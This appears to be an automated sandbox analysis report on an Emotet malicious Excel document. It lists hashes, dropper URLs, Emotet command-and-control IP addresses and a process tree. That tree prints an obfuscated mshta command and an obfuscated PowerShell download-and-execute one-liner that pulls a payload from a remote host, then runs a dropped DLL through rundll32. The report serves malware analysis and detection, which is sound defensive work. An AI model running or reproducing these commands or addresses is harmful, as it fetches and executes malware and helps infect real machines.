emotet | 7f47c50d92a3da634e5e5810bf1d27d35cd110242f9148c1506e2da375a056e8

General

Target

7f47c50d92a3da634e5e5810bf1d27d35cd110242f9148c1506e2da375a056e8.xls
Size

141KB
MD5

9857abeb4645a7071e4e2325d0793805
SHA1

ff658e04c9b72f341b14b464dbade0a01d528680
SHA256

7f47c50d92a3da634e5e5810bf1d27d35cd110242f9148c1506e2da375a056e8
SHA512

b76e48404f85f1c2c5365a82a9356f676230f660d82ebaee318412530bcebc2d8135f1dfb351e5fa7bc92a71b912025270cf661db17e5728c8147f80740d6f0a

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3316	3140	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
30	3696	mshta.exe
36	3144	powershell.exe
38	3144	powershell.exe
40	3144	powershell.exe
51	3168	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1352	rundll32.exe
2340	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Kqdagpbds\cybddkromuoe.egj	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2220	3696	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3140	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3144	powershell.exe
3144	powershell.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
3144	powershell.exe
3168	rundll32.exe
3168	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	2220	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3140 wrote to memory of 3512	3140	EXCEL.EXE	72
PID 3140 wrote to memory of 3512	3140	EXCEL.EXE	72
PID 3140 wrote to memory of 3316	3140	EXCEL.EXE	73
PID 3140 wrote to memory of 3316	3140	EXCEL.EXE	73
PID 3316 wrote to memory of 3696	3316	cmd.exe	75
PID 3316 wrote to memory of 3696	3316	cmd.exe	75
PID 3696 wrote to memory of 3144	3696	mshta.exe	77
PID 3696 wrote to memory of 3144	3696	mshta.exe	77
PID 3144 wrote to memory of 960	3144	powershell.exe	80
PID 3144 wrote to memory of 960	3144	powershell.exe	80
PID 960 wrote to memory of 1352	960	cmd.exe	81
PID 960 wrote to memory of 1352	960	cmd.exe	81
PID 960 wrote to memory of 1352	960	cmd.exe	81
PID 1352 wrote to memory of 2340	1352	rundll32.exe	82
PID 1352 wrote to memory of 2340	1352	rundll32.exe	82
PID 1352 wrote to memory of 2340	1352	rundll32.exe	82
PID 2340 wrote to memory of 544	2340	rundll32.exe	83
PID 2340 wrote to memory of 544	2340	rundll32.exe	83
PID 2340 wrote to memory of 544	2340	rundll32.exe	83
PID 544 wrote to memory of 3168	544	rundll32.exe	84
PID 544 wrote to memory of 3168	544	rundll32.exe	84
PID 544 wrote to memory of 3168	544	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7f47c50d92a3da634e5e5810bf1d27d35cd110242f9148c1506e2da375a056e8.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3140
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3512
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3144
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:960
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1352
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2340
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kqdagpbds\cybddkromuoe.egj",BOxDEJshHg
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:544
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kqdagpbds\cybddkromuoe.egj",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3168
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3696 -s 1652
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/544-905-0x0000000002800000-0x0000000002826000-memory.dmp

Filesize
152KB

Download
memory/1352-884-0x00000000045E0000-0x0000000004606000-memory.dmp

Filesize
152KB

Download
memory/2340-908-0x00000000054B0000-0x00000000054D6000-memory.dmp

Filesize
152KB

Download
memory/2340-896-0x0000000005350000-0x0000000005376000-memory.dmp

Filesize
152KB

Download
memory/2340-894-0x00000000052F0000-0x0000000005316000-memory.dmp

Filesize
152KB

Download
memory/2340-892-0x0000000005170000-0x0000000005196000-memory.dmp

Filesize
152KB

Download
memory/2340-887-0x0000000004A80000-0x0000000004AA6000-memory.dmp

Filesize
152KB

Download
memory/3140-116-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3140-115-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3140-939-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3140-118-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3140-117-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3140-938-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3140-121-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3140-937-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3140-936-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3140-128-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

Filesize
64KB

Download
memory/3140-129-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

Filesize
64KB

Download
memory/3144-558-0x00000219AB9E0000-0x00000219ABA02000-memory.dmp

Filesize
136KB

Download
memory/3144-756-0x00000219939B0000-0x00000219ABA60000-memory.dmp

Filesize
384.7MB

Download
memory/3144-577-0x00000219AC0D0000-0x00000219AC10C000-memory.dmp

Filesize
240KB

Download
memory/3144-603-0x00000219AC190000-0x00000219AC206000-memory.dmp

Filesize
472KB

Download
memory/3144-677-0x00000219939B0000-0x00000219ABA60000-memory.dmp

Filesize
384.7MB

Download
memory/3144-813-0x00000219939B0000-0x00000219ABA60000-memory.dmp

Filesize
384.7MB

Download
memory/3168-910-0x0000000003FE0000-0x0000000004006000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads